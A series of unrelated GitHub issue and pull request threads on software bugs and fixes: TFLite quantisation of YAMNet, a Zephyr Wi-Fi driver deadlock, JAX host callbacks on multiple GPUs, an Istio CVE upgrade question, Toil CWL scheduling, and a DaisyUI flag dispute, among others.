I've also done some research into just quantising the spectrogram layer.
Spectrogram output without any quantisation, No QAT:

Spectrogram output with quantisation, No QAT:

QAT spectrogram without quantisation:

QAT spectrogram with quantisation

As you can see with quantisation and QAT the output are just 0's.
￼

@MATTYGILO ! "Quant "  seems not to be working in Colab. Could you please update on this. Attached gist  for reference. Thank you!

@mohantym Oh sorry that was a file I made. I'll try and provide a better example

@mohantym I'm really stuck is it possible if you could provide an example for a working full int 8 quantisation of a yamnet

@MATTYGILO ! I think int8 quantization might not be possible yet. Found a similar issue here. But Could you make these changes in the above code and let us know. Thank you!

def representative_dataset():
    for _ in range(1000):
        data = np.random.choice([-32768, 0, 1, 32767], size=(88200,))  #give it a  fixed size , Dynamic size is still an obstacle in some cases during TFLite conversion
        yield [data.astype(np.uint8)] # uint8 recommended while trying uint8 quantization

converter = tf.lite.TFLiteConverter.from_keras_model(qat_model)
converter.experimental_new_converter = True
converter.optimizations = [tf.lite.Optimize.DEFAULT]
converter.representative_dataset = representative_dataset
converter.target_spec.supported_ops = [
  tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.
  tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.# resolves select ops issues
]
converter.inference_input_type = tf.int8
converter.inference_output_type = tf.int8
tflite_quant_model = converter.convert()

Ok using the data.astype(np.int8) I get a ValueError: Cannot set tensor: Got value of type UINT8 but expected type FLOAT32 for input 0

@MATTYGILO ! Quantized data is not needed normally in the representative dataset.  You should revert to float32 datatype as the error suggests. I am afraid integer quantization might not be possible for Yamnet model yet.
def representative_dataset():
    for _ in range(1000):
        data = np.random.choice([-32768, 0, 1, 32767], size=(88200,))  #give it a  fixed size , Dynamic size is still an obstacle in some cases during TFLite conversion
        yield [data.astype(np.float32)] # uint8/int8 recommended while trying uint8 quantization

converter = tf.lite.TFLiteConverter.from_keras_model(qat_model)
converter.experimental_new_converter = True
converter.optimizations = [tf.lite.Optimize.DEFAULT]
converter.representative_dataset = representative_dataset
converter.target_spec.supported_ops = [
  tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.
  tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.# resolves select ops issues
]
converter.inference_input_type = tf.float32
converter.inference_output_type = tf.float32
tflite_quant_model = converter.convert()

@mohantym Ok the only problem is that I require integer quantisation for tflite micro. So I'm a bit stuck I guess.

Hi,
Thank you for opening this issue. Since this issue has been open for a long time, the code/debug information for this issue may not be relevant with the current state of the code base.
The TFLite team is constantly improving the framework by fixing bugs and adding new features. We suggest you try the latest TensorFlow version with the latest compatible hardware configuration which could potentially resolve the issue. If you are still facing the issue, please create a new GitHub issue with your latest findings, with all the debugging information which could help us investigate.
Please follow the release notes to stay up to date with the latest developments which are happening in the TFLite space.
Thanks.


Raw object in a

There inserted a raw object (not the string representation of it) in a

I totally don't see how it works, but after commenting-out the codes that insert this <style> tag (e.g. this line), I got:

no <style>[object Object]</style>, which is good
some magical properties automatically inserted by Angular are also deleted, which affects actual layout and should not happen

Before commenting-out: <ss-teamicon> has the _nghost-c0 property and <img> has the _ngcontent-c0 property.

After commenting out: both _nghost-c0 and  _ngcontent-c0 disappear.


eswifi: easy to deadlock eswifi driver with socket offload disabled and concurrent send/recv

Describe the bug
With socket offload disabled, concurrent threads for socket send/recv eswifi can easily deadlock.
My understanding of the bug is based on these observations:

The send() thread takes a socket mutex and likely gets interrupted by a higher priority background eswifi task.
The eswifi background task takes the eswifi mutex, and then may try to take the socket mutex in the socket receive callback, which is presently held by the send() thread.
Blocked, the send() thread resumes and tries to take the eswifi mutex, which is held by the background task.

Additional information:

What target platform are you using? STM32 B_L5S4I_IOT01A
What have you tried to diagnose or workaround this issue? I tried diagnosing with a test program and gdb stack analysis.
Is this a regression? If yes, have you been able to "git bisect" it to a
specific commit? No.

To Reproduce
See attached program. Use netcat -lu 5678 to receive and send data back to the device after each message. Repeat until deadlock, which doesn't take long.
Expected behavior
Harmonious concurrency in socket communications.
Impact
Concurrent threads for send/receive is consistently unreliable when disabling socket offload. Socket offload is disabled because offload sockets don't fully support zsock_poll features.
Logs and console output
Send thread
#0  arch_swap (key=key@entry=0) at /Users/<user>/zephyrproject/zephyr/arch/arm/core/aarch32/swap.c:53
53              return _current->arch.swap_return_value;
(gdb) bt
#0  arch_swap (key=key@entry=0) at /Users/<user>/zephyrproject/zephyr/arch/arm/core/aarch32/swap.c:53
#1  0x080610ce in z_swap_irqlock (key=0) at /Users/<user>/zephyrproject/zephyr/kernel/include/kswap.h:185
#2  z_swap (key=..., lock=0x2003d504 <announce_remaining>) at /Users/<user>/zephyrproject/zephyr/kernel/include/kswap.h:196
#3  z_pend_curr (lock=lock@entry=0x2003d4ec <pending_cancels><EMAIL_ADDRESS>wait_q=wait_q@entry=0x20004754 <eswifi0+2028>, timeout=...) at /Users/<user>/zephyrproject/zephyr/kernel/sched.c:866
#4  0x08060822 in z_impl_k_mutex_lock (mutex=mutex@entry=0x20004754 <eswifi0+2028>, timeout=<error reading variable: DWARF-2 expression error: DW_OP_GNU_uninit must always be the very last op.>) at /Users/<user>/zephyrproject/zephyr/kernel/mutex.c:146
#5  0x0803c1fc in k_mutex_lock (timeout=..., mutex=0x20004754 <eswifi0+2028>) at /Users/<user>/zephyrproject/applications/my-app/build/zephyr/include/generated/syscalls/kernel.h:955
#6  eswifi_lock (eswifi=eswifi@entry=0x20003f68 <eswifi0>) at /Users/<user>/zephyrproject/zephyr/drivers/wifi/eswifi/eswifi.h:98
#7  0x08079570 in eswifi_off_sendto (pkt=0x2004fef8 <_k_mem_slab_buf_tx_pkts+192>, dst_addr=0x20002bec <tls_contexts+132>, addrlen=<optimized out>, cb=0x0, timeout=0, user_data=0x0) at /Users/<user>/zephyrproject/zephyr/drivers/wifi/eswifi/eswifi_offload.c:309
#8  0x080327ea in net_offload_sendto (iface=<optimized out>, pkt=pkt@entry=0x2004fef8 <_k_mem_slab_buf_tx_pkts+192>, dst_addr=dst_addr@entry=0x20002bec <tls_contexts+132>, addrlen=addrlen@entry=8, cb=cb@entry=0x0, timeout=<EMAIL_ADDRESS>user_data=user_data@entry=0x0) at /Users/<user>/zephyrproject/zephyr/include/zephyr/net/net_offload.h:375
#9  0x08071ec4 in context_sendto (context=context@entry=0x2003a5ac <contexts+160>, buf=buf@entry=0x20052060, len=len@entry=188, dst_addr=dst_addr@entry=0x20002bec <tls_contexts+132>, addrlen=addrlen@entry=8, cb=cb@entry=0x0, <EMAIL_ADDRESS>user_data=user_data@entry=0x0, sendto=sendto@entry=true) at /Users/<user>/zephyrproject/zephyr/subsys/net/ip/net_context.c:1721
#10 0x08072340 in net_context_sendto (context=context@entry=0x2003a5ac <contexts+160>, buf=buf@entry=0x20052060, len=len@entry=188, dst_addr=dst_addr@entry=0x20002bec <tls_contexts+132>, addrlen=addrlen@entry=8, cb=cb@entry=0x0, timeout=..., user_data=0x0) at /Users/<user>/zephyrproject/zephyr/subsys/net/ip/net_context.c:1887
#11 0x080268ae in zsock_sendto_ctx (ctx=0x2003a5ac <contexts+160>, buf=0x20052060, len=188, flags=<optimized out>, dest_addr=dest_addr@entry=0x20002bec <tls_contexts+132>, addrlen=addrlen@entry=8) at /Users/<user>/zephyrproject/zephyr/subsys/net/lib/sockets/sockets.c:788
#12 0x0806b8ca in sock_sendto_vmeth (obj=<optimized out>, buf=<optimized out>, len=<optimized out>, flags=<optimized out>, dest_addr=0x20002bec <tls_contexts+132>, addrlen=8) at /Users/<user>/zephyrproject/zephyr/subsys/net/lib/sockets/sockets.c:2543
#13 0x0806b928 in z_impl_zsock_sendto (sock=<optimized out>, buf=0x20052060, len=188, flags=64, dest_addr=dest_addr@entry=0x20002bec <tls_contexts+132>, addrlen=addrlen@entry=8) at /Users/<user>/zephyrproject/zephyr/subsys/net/lib/sockets/sockets.c:818
#14 0x08026d80 in zsock_sendto (addrlen=8, dest_addr=0x20002bec <tls_contexts+132>, flags=<optimized out>, len=<optimized out>, buf=<optimized out>, sock=<optimized out>) at /Users/<user>/zephyrproject/applications/my-app/build/zephyr/include/generated/syscalls/socket.h:258

Background work thread
#0  arch_swap (key=key@entry=0) at /Users/<user>/zephyrproject/zephyr/arch/arm/core/aarch32/swap.c:53
53              return _current->arch.swap_return_value;
(gdb) bt
#0  arch_swap (key=key@entry=0) at /Users/<user>/zephyrproject/zephyr/arch/arm/core/aarch32/swap.c:53
#1  0x080610ce in z_swap_irqlock (key=0) at /Users/<user>/zephyrproject/zephyr/kernel/include/kswap.h:185
#2  z_swap (key=..., lock=0x2003d504 <announce_remaining>) at /Users/<user>/zephyrproject/zephyr/kernel/include/kswap.h:196
#3  z_pend_curr (lock=lock@entry=0x2003d4ec <pending_cancels><EMAIL_ADDRESS>wait_q=wait_q@entry=0x200007b4 <fdtable+140>, timeout=...) at /Users/<user>/zephyrproject/zephyr/kernel/sched.c:866
#4  0x08060822 in z_impl_k_mutex_lock (mutex=0x200007b4 <fdtable+140>, timeout=<error reading variable: DWARF-2 expression error: DW_OP_GNU_uninit must always be the very last op.>) at /Users/<user>/zephyrproject/zephyr/kernel/mutex.c:146
#5  0x0806b36a in k_mutex_lock (timeout=..., mutex=<optimized out>) at /Users/<user>/zephyrproject/applications/my-app/build/zephyr/include/generated/syscalls/kernel.h:955
#6  zsock_received_cb (ctx=0x2003a5ac <contexts+160>, pkt=0x2004ffb8 <_k_mem_slab_buf_rx_pkts+128>, ip_hdr=<optimized out>, proto_hdr=<optimized out>, status=0, user_data=0x0) at /Users/<user>/zephyrproject/zephyr/subsys/net/lib/sockets/sockets.c:377
#7  0x0803c978 in eswifi_off_read_work (work=0x200048b8 <eswifi0+2384>) at /Users/<user>/zephyrproject/zephyr/drivers/wifi/eswifi/eswifi_socket.c:166
#8  0x08060bf2 in work_queue_main (workq_ptr=0x20003f78 <eswifi0+16>, p2=<optimized out>, p3=<optimized out>) at /Users/<user>/zephyrproject/zephyr/kernel/work.c:668
#9  0x080692a8 in z_thread_entry (entry=0x8060b69 <work_queue_main>, p1=<optimized out>, p2=<optimized out>, p3=<optimized out>) at /Users/<user>/zephyrproject/zephyr/lib/os/thread_entry.c:36

Examining the mutexes held by each thread:
SEND CLIENT THREAD (pending lock held by eswifi thread, already holds socket lock)
  9    Thread 536883928 "SEND_CLIENT_THREAD_tid" (Name: SEND_CLIENT_THREAD_tid, prio:-2,useropts:0)      arch_swap (key=key@entry=0) at /Users/<user>/zephyrproject/zephyr/arch/arm/core/aarch32/swap.c:53

(gdb) print eswifi->mutex
$24 = {wait_q = {waitq = {{head = 0x20004b40 <eswifi_spi0+8>, next = 0x20004b40 <eswifi_spi0+8>}, {tail = 0x200032d8 <_k_thread_obj_SEND_CLIENT_THREAD_tid>,
        prev = 0x200032d8 <_k_thread_obj_SEND_CLIENT_THREAD_tid>}}}, owner = 0x20003f78 <eswifi0+16>, lock_count = 1, owner_orig_prio = -2}

BACKGROUND WORKQUEUE THREAD (pending lock held by client thread, already holds eswifi lock)
  13   Thread 536887160 "thr_8060b69_20003f78" (Name: thr_8060b69_20003f78, prio:-14,useropts:0) arch_swap (key=key@entry=0) at /Users/<user>/zephyrproject/zephyr/arch/arm/core/aarch32/swap.c:53

(gdb) print *ctx->cond.lock
$23 = {wait_q = {waitq = {{head = 0x20003f78 <eswifi0+16>, next = 0x20003f78 <eswifi0+16>}, {tail = 0x20003f78 <eswifi0+16>, prev = 0x20003f78 <eswifi0+16>}}}, owner = 0x200032d8 <_k_thread_obj_SEND_CLIENT_THREAD_tid>, lock_count = 1, owner_orig_prio = 0}

Environment (please complete the following information):

OS: (e.g. Linux, MacOS, Windows): MacOS
Toolchain (e.g Zephyr SDK, ...): 0.15.2
Commit SHA or Version used: v3.3.0

Additional context
Socket offload disabled.

Sample program. udp.zip
Use netcat -lu 5678 to receive and send data back to the device after each message. Repeat sending data back to the device until deadlock, which doesn't take long.

@loicpoulain 😀

@jgl-meta Question: why is this under platform ESP32 if the target is STM32? I think there have been a misunderstanding, as ESP-AT runs ESP-IDF firmware and its bugs or misbehavior should be reported at proper (other) forums.
I believe this is a networking issue.

@jgl-meta Question: why is this under platform ESP32 if the target is STM32? I think there have been a misunderstanding, as ESP-AT runs ESP-IDF firmware and its bugs or misbehavior should be reported at proper (other) forums.
I believe this is a networking issue.

The bug triage group interpreted this as the reporter is going through esp32 for wifi I believe. That was the reasoning for adding the tag.

I can confirm that this bug is not related to ESP32. This is somewhat related to STM32 as it's on an STM32 dev board, but if my analysis is correct, it's just a driver bug for the Inventek es-WiFi module, which makes it platform independent.


Add license link in readme

@ThiagoWhispher Thank you for your PR. For consistency with our other orb repositories which also make use of the license badge to indicate the project's license, I'll close this PR as I feel the license badge is sufficient for now.


host_callback.call fails on multi-gpu machine

If I run the following code:
from jax.experimental import host_callback
import numpy as np
from jax import pmap, jit, partial, ShapeDtypeStruct

def host_fn(x):
    return x

x = np.ones(4, dtype=np.float32)
host_callback.call(host_fn, x, result_shape=x)

on a 2-gpu machine then it crashes with the error message
2021-01-31 17:53:40.778121: F external/org_tensorflow/tensorflow/compiler/xla/service/gpu/outfeed_thunk.cc:56] Check failed: ShapeUtil::Compatible(config_.input_shape, outfeed_buffers->shape()) XLA program outfeed request of shape (f32[4]) did not match the runtime's outfeed buffer of shape u32[2]

If I run with one GPU (by setting CUDA_VISIBLE_DEVICES=0) it finishes with no errors. Is there something I've missed in the documentation for host_callback about how it should be used on multi-device setups?
I ran both with the full debug information
CUDA_VISIBLE_DEVICES=0 TF_CPP_MIN_LOG_LEVEL=0 TF_CPP_VMODULE=outfeed_receiver=3,host_callback=3,outfeed_receiver_py=3,outfeed_thunk=3,xfeed_manager=3 python test_2.py --verbosity=2 2> test_output_one_gpu.txt if that's helpful.
test_output_one_gpu.txt
test_output_two_gpu.txt

I think that this is not specific to multi-GPU, but can happen even with one GPU (randomly). I think it is related to #4374.
There are two fixes possible: fix the implementation of outfeed for XLA:GPU, or replace the implementation mechanism for GPUs to use CustomCall (this is in progress).

Is this any closer to being fixed (or, ideas for a workaround?)
host_callback is a really great addition to jax. It's a bit frustrating that it's currently not possible for me to use it with multiple GPUs.

There are two updates. It turns out that the infeed/outfeed in XLA:GPU is not so easy to fix for multi-GPU. So that hope has gotten dimmer.
The second update is more positive, we have a new implementation in the works for GPU, using XLA CustomCall. This means that the host_callback will be synchronous. This implementation was blocked on GPU due to another XLA bug that has been fixed. So the plan is to enable this second implementation mechanism, choosable with an environment variable and command-line flag. This change involves both Python and C++ and will take at least a couple of weeks to land. Sorry for the delay!

Sorry for the bump, but what's the current status of the second update?

Sorry for the bump, but what's the current status of the second update?

The custom call on GPU is now landed but not used in host callback quite yet. You can try out the new callback mechanism on GPU with jax.debug.print and we should be porting HCB to use the new custom call very soon.

@C-J-Cundy @AllanChain can you say more about your intended use case? For example, is it to have a callback for a debugging side-effect (like printing), or to perform some functionally pure numerical computation (on the host?), or something else? I ask because if it's one of those two applications we can recommend a replacement API (without having to wait for porting the HCB API to use a new implementation).

functionally pure numerical computation (on the host?),

What would be the replacement API in that case?

It is jax.pure_callback.

is it to have a callback for a debugging side-effect (like printing), or to perform some functionally pure numerical computation (on the host?)

Was the former. But I have figured out my problem and not waiting for this anymore.

For reference, the "callback for a debugging side-effect (like printing)" is jax.debug.callback

Not sure if this is still an issue.


Is there a way to resolve CVE-2023-44487 without upgrading ISTIO

I am using istio 1.14.1. I would like to address CVE-2023-44487.

How do I check if I am vulnerable?
Is there a way to address this without going for an upgrade.

This CVE was noted in https://istio.io/latest/news/security/istio-security-2023-004/ and fixed in 1.17.7, 1.18.4 and 1.19.2. The Istio community does not patch older unsupported versions (in this case 1.16 and earlier).

You have more CVEs than just that one. Either upgrade (Istio and the rest of your infra), or accept you have 100s of CVEs in your system..


Automated cherry pick of #6458: fix: 修复zstack使用win镜像时userdata base64加密问题

Cherry pick of #6458 on release/3.2.
#6458: fix: 修复zstack使用win镜像时userdata base64加密问题

Codecov Report

Merging #6459 into release/3.2 will decrease coverage by 0.00%.
The diff coverage is 0.39%.

@@               Coverage Diff               @@
##           release/3.2    #6459      +/-   ##
===============================================
- Coverage         7.05%    7.04%   -0.01%
===============================================
  Files              649      649
  Lines           111327   111483     +156
===============================================
  Hits              7856     7856
- Misses          102862   103018     +156
  Partials           609      609

Flag
Coverage Δ

#aFlag
7.04% <0.39%> (-0.01%)
:arrow_down:

Impacted Files
Coverage Δ

pkg/baremetal/manager.go
0.50% <0.00%> (-0.01%)
:arrow_down:

pkg/baremetal/tasks/baseprepare.go
0.00% <0.00%> (ø)

pkg/baremetal/tasks/bm_register.go
0.00% <0.00%> (ø)

pkg/cloudcommon/db/sharablebase.go
7.08% <0.00%> (-0.09%)
:arrow_down:

pkg/cloudcommon/policy/policy.go
1.50% <0.00%> (-0.06%)
:arrow_down:

pkg/compute/guestdrivers/zstack.go
6.49% <0.00%> (-0.18%)
:arrow_down:

pkg/compute/models/cloudaccounts.go
0.69% <0.00%> (-0.01%)
:arrow_down:

pkg/compute/models/cloudproviderregions.go
0.27% <0.00%> (-0.01%)
:arrow_down:

pkg/compute/models/cloudproviders.go
0.90% <0.00%> (-0.04%)
:arrow_down:

pkg/compute/models/dbinstanceresource.go
0.00% <0.00%> (ø)

... and 21 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fdbecf5...9455c75. Read the comment docs.


Different Args in "Action" and "Before" functions

I recently came across a problem when accessing Args from Context. I expected to get the same args in "Action" and "Before" functions, but "Action" has it's name at index 0 and arguments start from index 1, in "Before" arguments start from index 0.
An example to demonstrate: http://play.golang.org/p/CIrOdw3noq
Also looking at the examples https://github.com/codegangsta/cli#subcommands
I'd expect c.Args().First() to contain the first argument, not the command name itself. Is this desired behaviour, please?

Addressed by #170

Great, just found this bug as well and can confirm it. My research also found the lines above by ghigt.
The Ctx context haven't yet parsed the flags for the subcommand, but context context has and that one is used by the Before action, which makes it look like it works for Before, but not Action of the subcommand.
Any ETA when a fix can be merged to master?

@rawn merged in today, let me know if your issue persists.

@jszwedko Works beautifully!


Add fence-azure-arm agent

Currently, if the agent fence_azure_arm is used, FAR throws an error showing that the fence_azure_arm is not found. It adds the Azure fence agent.
Fix: https://github.com/medik8s/fence-agents-remediation/issues/90

/ok-to-test

/retest
/approve
Even though using the fence-azure-arm agent won't work due to a known bug, with the https://github.com/ClusterLabs/fence-agents/pull/562 fix it should work.
/lgtm


Space view scenes (parts) are now independent of space view type

.. but space view types are ofc still dependent on the parts collection.
Things happening here:

no longer pass SpaceViewState to population of SceneContext and SceneParts
SpaceViewClass no longer specifies the SceneContext and ScenePartData - this is now done by the ScenePartCollection instead

The first two changes allow us to use the same scene(part collection) for several space views, as it is needed by 2D & 3D space views which are right now the same type (but we want different types).
Checklist

[x] I have read and agree to Contributor Guide and the Code of Conduct

PR Build Summary: https://build.rerun.io/pr/2522

Docs preview: https://rerun.io/preview/f25972d/docs
Examples preview: https://rerun.io/preview/f25972d/examples

Superseeded by #2688


remove taiwan flag

Hi, @saadeghi ,Thanks for your hard work to bring this awesome css lib to us developers.
This PR is just a fix to daisyui docs website, which make a mistake at TaiWan flag.
TaiWan is not a country, is essentially a province of China. currently it's a district because of some history reasons.
So, TaiWan flag should not be placed along with other REAL country flags, It's a big misleading to website visitors.

Besides, 繁体中文，not only spoken by taiwan people, but also HongKong people, Macao people and many overseas-chinese people.
so taiwan flag can not represents 繁体中文 at all.

My fix is to hidden taiwan flag, and preserve 繁体中文 name. below are screenshots showing brefore and after views:
Before:

After:

Hi, @saadeghi ,Thanks for your hard work to bring this awesome css lib to us developers.

Thank you 🙏

TaiWan is not a country

I have zero knowledge about the Chinese language. I know there are political disagreements but I would appreciate if you don't make a CSS library involved in politics.
The translation and the flag was added by people who are living there and I think you would agree that removing the flag would also lead people who are disagree with you, to get angry.
I really don't want to get into politics so I appreciate if you don't insist on this 🙏

Besides, 繁体中文，not only spoken by taiwan people, but also HongKong people, Macao people and many overseas-chinese people.
so taiwan flag can not represents 繁体中文 at all.

This is also true about other flags. A lot of countries speak English, Portuguese, Spanish, etc. The flags are just the commonly accepted icon for that. I understand that a language is not limited to one region or country.
Thank you for understanding

I think it is unnecessary to remove the flag, besides the political reasons, it hurts the visual integrity.

@92hackers Taiwan is definitely a country. It uses a different passport from the China mainland. It's ridiculous to say Taiwan is a province of China. Are Chinese people able to go to Taiwan without visa?

I just want to add some information here.

These are the language files and the file names are based on the ISO standards.
Most of the languages were added by open source contributors.
The file name for the mentioned language is zh_tw which is specifically for the Chinese language that people use in Taiwan (whether you believe it is a real country or not). If this translation is for Chinese speakers from Taiwan area, I don't see any issues with the flag because flags here are not representing countries.
Whether anyone believes Taiwan is a country or not (I don't care personally, sorry) no one can deny that it owns a flag.


Added process of booleans

If the .env file has a boolean value it will be parsed into the correct type:
.env file:
VARIABLE=true
Before:
$_ENV['VARIABLE] = 'true';
Now:
$_ENV['VARIABLE] = true;

Also added test and make this option configurable via DotEnv::PROCESS_BOOLEANS.
Attribute @runInSeparateProcess has been added to the test to restart $_ENV variables

Perfect, I think all changes have been made

Ok for me , thanks

You are forget to remove unit test about returns values :
/**
* @runInSeparateProcess
*/
public function testLoadReturnsValues()
{
$loaded = (new DotEnv($this->env('.env.return')))->load();
    $this->assertEquals('returned', $loaded['VALUE']);
    $this->assertEquals('returned', $_ENV['VALUE']);
}

test failed


Failed to clone or download due to too many files or too large the repo?

The clone was interrupted, while the downloaded zip file contained only some files (but already 1.7G).

Following your comment, I downloaded the .zip file once and used the git clone command with the HTTP web URL on another occasion. In both cases, the complete repository was successfully downloaded. If you encountered difficulties downloading the zip file, I recommend using the git clone.

After downloading the .zip file again, I still obtained an incomplete file with a size of 5.9GB. I will try the git clone later. Thanks.
BTW, I suggest to separate the large number of data files as packed as zip files and upload them to cloud disk rather than scattered in the Github repository.


use FollowOn for CWLJobWrapper for correct scheduling

Fix #2048 , now with a test to prove it!

@pkp124 Does this work for you with gridEngine?

@mr-c , this works for me! Thanks!

Confirmed for LSF as well :tada:

And I'm adding a new CWL conformance test for this as well: https://github.com/common-workflow-language/common-workflow-language/pull/626/

I suppose this is true for every batchsystem, including singlemachine

@pkp124 You'd be surprised :-) BTW, could you do me a favor: run the CWL conformance tests using toil-cwl-runner and gridengine? I did it using Toil's Jenkins instance with their emulation setup, but I would feel better if it was run at least once on a real cluster
Something like https://github.com/EBI-Metagenomics/ebi-metagenomics-cwl/issues/57#issuecomment-304446975
You may benefit from https://github.com/indigo-dc/udocker and a local nodejs installation

Ran the conformance tests, with the change. As feared, test 36 and 39 fail, which are related to the scatter requirement, with the problem of promise not fulfilled. The cases are:

v1.0/scatter-wf1.cwl v1.0/scatter-empty-job1.json
'v1.0/scatter-wf3.cwl#main' v1.0/scatter-empty-job3.json

@pkp124 Can you email me your logs? The conformance tests with this branch pass for me on LSF.
I'm<EMAIL_ADDRESS>

So, a second run of conformance test on a clean "cwljobwrapper_followon" branch. Following are the failed cases:

v1.0/count-lines3-wf.cwl v1.0/count-lines3-job.json
v1.0/scatter-wf2.cwl v1.0/scatter-empty-job2.json
v1.0/scatter-wf1.cwl v1.0/scatter-empty-job1.json
'v1.0/scatter-wf3.cwl#main' v1.0/scatter-empty-job3.json

In all cases, the job 'CWLGather' that fulfills this promise hasn't yet finished.

@mr-c , i have mailed you the log

@mr-c What's the status on this PR?

@DailyDreamin This branch works for me (and the conformance tests mentioned pass) using a grid engine cluster whose qstat -help reports OGS/GE 2011.11p1.
@pkp124 What version of grid engine are you running?

@mr-c I am using SGE 8.1.8

@pkp124 Thanks. So we're testing with two different grid engine codebases, which makes this tricky 😋
(I have access to Open Grid Scheduler/Grid Engine)

@pkp124 Can you retest using Toil 3.15.0?

@mr-c , tested now with two versions:

A clean 3.15.0 - conformance tests failed with scheduling error
merged relevant changes of this branch with 3.15.0 - conformance tests failed with scheduling error
more or less for the same test cases( with scatter requirement)

Every scheduling error has the following message:
RuntimeError: (RuntimeError(RuntimeError("This job was passed a promise that wasn't yet resolved when it ran. The job 'CWLGather' that fulfills this promise hasn't yet finished. This means that there aren't enough constraints to ensure the current job always runs after 'CWLGather'. Consider adding a follow-on indirection between this job and its parent, or adding this job as a child/follow-on of 'CWLGather'.",)

Thank you @pkp124 , maybe 79f6d9b22434df93d36a445c57cc0e8de98a1179 fixes that for you?

@mr-c , thanks for the support! Unfortunately the problem still persists, although the frequency reduces. When running regression tests with the above commit, the same problem appeared for a test case without scatter - "v1.0/env-wf1.cwl v1.0/env-job.json". below is the error message:
RuntimeError: (RuntimeError(RuntimeError("This job was passed a promise that wasn't yet resolved when it ran. The job 'file:///work/toil/common-workflow-language/v1.0/v1.0/env-tool1.cwl' /bin/bash -c echo $TEST_ENV that fulfills this promise hasn't yet finished. This means that there aren't enough constraints to ensure the current job always runs after 'file:///work/toil/common-workflow-language/v1.0/v1.0/env-tool1.cwl' /bin/bash -c echo $TEST_ENV. Consider adding a follow-on indirection between this job and its parent, or adding this job as a child/follow-on of 'file:///work/toil/common-workflow-language/v1.0/v1.0/env-tool1.cwl' /bin/bash -c echo $TEST_ENV.",), <class 'toil.job.Promise'>, (u'file:/work/toil/common-workflow-language/tmp5/tmpgu_GrH', 'P/7/tmpZB7vFJ.tmp')), <class 'toil.job.Promise'>, (u'file:/work/toil/common-workflow-language/tmp5/tmpgu_GrH', u'K/J/tmpxH5mpC.tmp'))

The problem seems more fundamental to me. There might be a synchronization issue between single machine job queue(which is used to handle CWL_INTERNAL_JOBS) and grid engine job queue. I ran some tests by disabling CWL_INTERNAL_JOBS and the problem does not seem to appear any more (after running conformance tests for about 5 times).

@pkp124 that's a great insight, I hadn't thought of that being an issue.

@pkp124 You are right, cwltool also has that error: https://github.com/common-workflow-language/cwltool/issues/760


Custom category empty state

Description:
Shows the empty state for a custom category when the list of phrases comes back empty.  Allows the user to add a new phrase from the empty state.
Closes #278

[ ] Acceptance Criteria satisfied
[ ] Regression Testing

The message is showing up as expected, but the "Add Phrase" button is not accepting clicks.


Respond with 40x error on outdated testing tokens

Preliminary Checks

[X] I have reviewed the documentation: https://clerk.com/docs

[X] I have searched for existing issues: https://github.com/clerk/javascript/issues

[X] I have not already reached out to Clerk support via email or Discord (if you have, no need to open an issue here)

[X] This issue is not a question, general help request, or anything other than a bug report directly related to Clerk. Please ask questions in our Discord community: https://clerk.com/discord.

Reproduction
https://github.com/TimKochDev/clerk-playwright-msw
Publishable key
pk_test_bWFqb3ItaGVyb24tODYuY2xlcmsuYWNjb3VudHMuZGV2JA
Description
Steps to reproduce:

Send signup request to clerk backend API from an automated test suite together with an outdated or otherwise invalid testing token search param

Expected behavior:
I'd expect to receive a 400 error or 403.
Actual behavior:
I received 429 "bot detection" errors as if I hadn't added the testing token in the first place.
Consequence:
I tried to test clerk using playwright and msw. This didn't work with @clerk/testing/playwright because page.route() is not compatible with using msw at the same time. I struggled for hours before realizing that I had long achieved my goal but I still received the same 429 error. This made me think I would still had bugs in my request interception logic while all I had to do was use a fresh testing token.
Environment
"@clerk/clerk-react": "^5.0.3",
    "dotenv": "^16.4.5",
    "msw": "^2.3.0",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-router-dom": "^5.2.0",
"@clerk/testing": "^1.0.3",
    "@playwright/test": "^1.44.0",

Thanks for the report - this is a great suggestion that would improve usability of testing tokens!
We've created an internal ticket to track this, though this depends on a few key infrastructure changes that we were planning to perform. We'll let follow up here when this is fixed.

Hello 👋
We currently close issues after 40 days of inactivity. It's been 30 days since the last update here. If we missed this issue, please reply here. Otherwise, we'll close this issue in 10 days.
As a friendly reminder: The best way to see an issue fixed is to open a pull request. If you're not sure how to do that, please check out our contributing guide.
Thanks for being a part of the Clerk community! 🙏

Hello again 👋
After 40 days of no activity, we'll close this issue. Keep in mind, I'm just a robot, so if I've closed this issue in error, please reply here and my human colleagues will reopen it.
As a friendly reminder: The best way to see an issue fixed is to open a pull request. If you're not sure how to do that, please check out our contributing guide.
Thanks for being a part of the Clerk community! 🙏

Hello 👋
We currently close issues after 40 days of inactivity. It's been 30 days since the last update here. If we missed this issue, please reply here. Otherwise, we'll close this issue in 10 days.
As a friendly reminder: The best way to see an issue fixed is to open a pull request. If you're not sure how to do that, please check out our contributing guide.
Thanks for being a part of the Clerk community! 🙏

Hello again 👋
After 40 days of no activity, we'll close this issue. Keep in mind, I'm just a robot, so if I've closed this issue in error, please reply here and my human colleagues will reopen it.
As a friendly reminder: The best way to see an issue fixed is to open a pull request. If you're not sure how to do that, please check out our contributing guide.
Thanks for being a part of the Clerk community! 🙏

Hello 👋
We currently close issues after 40 days of inactivity. It's been 30 days since the last update here. If we missed this issue, please reply here. Otherwise, we'll close this issue in 10 days.
As a friendly reminder: The best way to see an issue fixed is to open a pull request. If you're not sure how to do that, please check out our contributing guide.
Thanks for being a part of the Clerk community! 🙏

Hello again 👋
After 40 days of no activity, we'll close this issue. Keep in mind, I'm just a robot, so if I've closed this issue in error, please reply here and my human colleagues will reopen it.
As a friendly reminder: The best way to see an issue fixed is to open a pull request. If you're not sure how to do that, please check out our contributing guide.
Thanks for being a part of the Clerk community! 🙏


Wallpapers will set for both home and lock screens on >=API 24

There should be more complex changes to enable this feature, like adding an option when pressing apply button. Like an option to choose set as wallpaper or set as lock screen background. I don't want to force set as for both wallpaper and lock screen. I'm going to merge the pull request, but I might change it later.


Implements #8

My first implementation of duplicate link checking
Please let me know if there are any issues at all, happy to learn 👍

If accepted would you mind labelling this as "hacktoberfest-accepted"? Just helps with the new rules for Hacktoberfest 2020. I would really appreciate it :)
https://dev.to/jimcmorrison/hacktoberfest-2020-rule-updates-147p

